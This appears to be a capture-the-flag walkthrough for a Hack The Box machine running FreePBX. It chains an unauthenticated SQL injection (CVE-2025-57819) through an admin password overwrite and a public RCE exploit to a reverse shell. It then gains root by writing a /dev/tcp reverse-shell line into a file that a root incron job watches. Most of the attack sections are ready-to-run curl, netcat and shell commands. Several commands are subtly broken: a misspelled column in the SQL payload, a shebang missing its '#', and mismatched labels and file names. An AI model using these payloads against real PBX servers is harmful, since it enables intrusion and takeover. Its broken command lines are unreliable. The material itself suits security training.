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Introduction:
The “Connected” machine on Hack The Box (HTB) is a medium-difficulty Linux target that runs FreePBX 16.0.40.7, an open-source Private Branch Exchange (PBX) platform built on Asterisk. This machine serves as an excellent training ground for red teamers and penetration testers, simulating a complete attack chain from unauthenticated SQL injection to remote code execution (RCE), followed by a creative privilege escalation vector abusing incron (inotify cron) watchers.
Learning Objectives:
- Master the exploitation of CVE-2025-57819, an unauthenticated SQL injection vulnerability in FreePBX that leads to remote code execution
- Perform privilege escalation by abusing writable file permissions and incron job triggers
You Should Know:
1. From SQL Injection to Webshell: Exploiting FreePBX
This attack chain starts with a single SQL injection that ultimately grants a shell on the target. The vulnerability allows an unauthenticated attacker to execute arbitrary SQL queries, which can be chained to update an administrator’s password, bypass authentication, and upload a webshell.
Step‑by‑step guide:
- Enumeration and Initial Reconnaissance: Begin by adding the target domain to your `/etc/hosts` file for easier navigation. An MTU mismatch between the VPN tunnel and target network can cause connection timeouts, so adjust the MTU size if needed.
echo "10.129.8.94 connected.htb pbxconnect ucp" | sudo tee -a /etc/hosts If config.php consistently times out, diagnose MTU ip link show tun0 Fix by lowering MTU (adjust value as needed) sudo ip link set dev tun0 mtu 1200
MTU adjustment is critical; packet fragmentation caused the web interface to hang, and lowering the MTU to 1200 restored normal communication.
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Port Scanning and Service Identification: Use Nmap to identify open ports and running services. The target typically exposes SSH (port 22) and HTTP/HTTPS (ports 80/443).
sudo nmap -p- --min-rate 5000 -Pn 10.129.8.94 -oN escaneo.txt sudo nmap -sC -sV -p22,80,443 connected.htb -oN detalles.txt
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Exploit CVE-2025-57819 — SQL Injection: The vulnerability exists in the `/admin/ajax.php` endpoint. The following payloads demonstrate how to enumerate the database and overwrite the admin password.
Confirm injection and extract current database user curl -s "http://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+" Overwrite admin password with a known hash curl -s "http://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x';UPDATE+ampusers+SET+1assword_sha1=SHA1('hacked123'),password=MD5('hacked123')+WHERE+username='admin';--+"The SQL injection is triggered via the `brand` parameter. After overwriting the admin password, an attacker can authenticate to the FreePBX administrative panel without any prior credentials.
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Authenticate to FreePBX and Complete Setup: After modifying the admin password, log in using the new credentials.
Grab CSRF token from the login page curl -s -c /tmp/c.txt http://connected.htb/admin/config.php > /tmp/p.html TOKEN=$(grep -oP 'id="key"[^>]>\s\K\S+' /tmp/p.html) Login with the compromised credentials curl -s -b /tmp/c.txt -c /tmp/c.txt \ -X POST "http://connected.htb/admin/config.php" \ -H "Referer: http://connected.htb/admin/config.php" \ -d "username=admin&password=hacked123&token=$TOKEN" > /dev/null
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Upload a Webshell and Obtain Reverse Shell: With administrative access, exploit a file upload vulnerability (CVE-2025-61678) or use a pre-built exploit to gain RCE.
git clone https://github.com/0xEhab/FreePBX-CVE-2025-57819-RCE.git cd FreePBX-CVE-2025-57819-RCE pip install requests pwntools Start a netcat listener on your attacking machine nc -lvnp 5555 Launch the exploit python3 exploit.py --rhost connected.htb --http --rport 80 --lhost 10.10.15.x --lport 5555
Upon successful exploitation, you will receive a reverse shell as the `asterisk` user. The user flag is located at
/home/asterisk/user.txt. -
Privilege Escalation: Abusing Incron Watchers to Gain Root
After obtaining a foothold as the `asterisk` user, the next step is to escalate privileges to root. The privilege escalation vector on “Connected” involves abusing an incron (inotify cron) watcher. Incron is a daemon that monitors filesystem events and executes commands when certain events occur on watched files. On this machine, an incron job is configured with root privileges and monitors a writable directory, which can be exploited to run arbitrary commands as root.
Step‑by‑step guide:
- Enumerate Incron Configurations: As the `asterisk` user, check for incron jobs and identify writable directories.
List all incron tables sudo -l Check user-specific incron jobs incrontab -l Search for incron-related processes ps aux | grep incron Look for writable directories that might be monitored find / -writable -type d 2>/dev/null | grep -v proc
Commonly, incron jobs monitor directories such as `/var/spool/asterisk/monitor` or custom application directories with world-writable permissions.
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Identify the Trigger File and Command: Determine which file or directory is being monitored and what command is executed.
Check for hidden incron configuration files cat /etc/incron.d/ Review system-wide incron settings cat /etc/incron.conf
In the case of “Connected”, a writable `hook` file exists that, when modified, triggers an incron job running a script with root privileges.
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Craft a Malicious Payload: Modify the monitored file or create a file that incron will act upon. For example, if incron watches a directory for file creation events, you can create a file that causes incron to execute a reverse shell.
Example: Write a reverse shell into a monitored file echo '!/bin/bash' > /path/to/writable/hook echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' >> /path/to/writable/hook chmod +x /path/to/writable/hook
On the “Connected” machine, the incron job executes `module.sig` with root privileges. By adding a reverse shell payload to that file, the incron watcher triggers and executes it as root.
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Trigger the Incron Action: Execute an action that incron is configured to watch (e.g., modify, create, or delete a file). This will cause incron to run the associated command.
Touch the file to change its modification timestamp touch /path/to/watched/file Or write a small change to the monitored file echo " " >> /path/to/watched/file
The incron daemon detects the filesystem event and executes the configured command with root privileges, giving you a root shell.
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Obtain Root Shell and Capture the Root Flag: Once the incron job executes your payload, you will receive a reverse shell as the root user.
On your attacking machine, start another listener nc -lvnp 4444 After triggering the incron action, you should receive a root shell id cat /root/root.txt
What Undercode Say:
- Key Takeaway 1: The “Connected” machine demonstrates that real-world compromises are rarely about single, flashy exploits. Instead, they are about thorough enumeration and chaining seemingly minor misconfigurations (SQLi + file write + incron) together to achieve a devastating outcome.
- Key Takeaway 2: Default configurations and outdated software versions remain a primary entry point for attackers, as seen with the FreePBX SQL injection (CVE-2025-57819). Additionally, the incron privilege escalation method is a powerful reminder that monitoring tools meant to automate tasks can become a backdoor if the watched resources are not properly secured.
Prediction:
– `-1` As organizations increasingly deploy PBX and VoIP solutions in cloud and hybrid environments, vulnerabilities like CVE-2025-57819 will become more common. The lack of regular patching cycles for these specialized applications will leave them exposed to automated scanners and exploit kits.
– `-1` The rise of automation tools (cron, incron, systemd timers) for system administration introduces a new class of local privilege escalation vectors. Red teams will focus more on abusing these “helper” services, while blue teams will need to implement stricter monitoring and principle of least privilege for such services.
– `+1` The open‑source nature of platforms like FreePBX accelerates vulnerability discovery and patching by the community, leading to faster fixes than proprietary alternatives. This collaborative model strengthens the overall security posture of the ecosystem.
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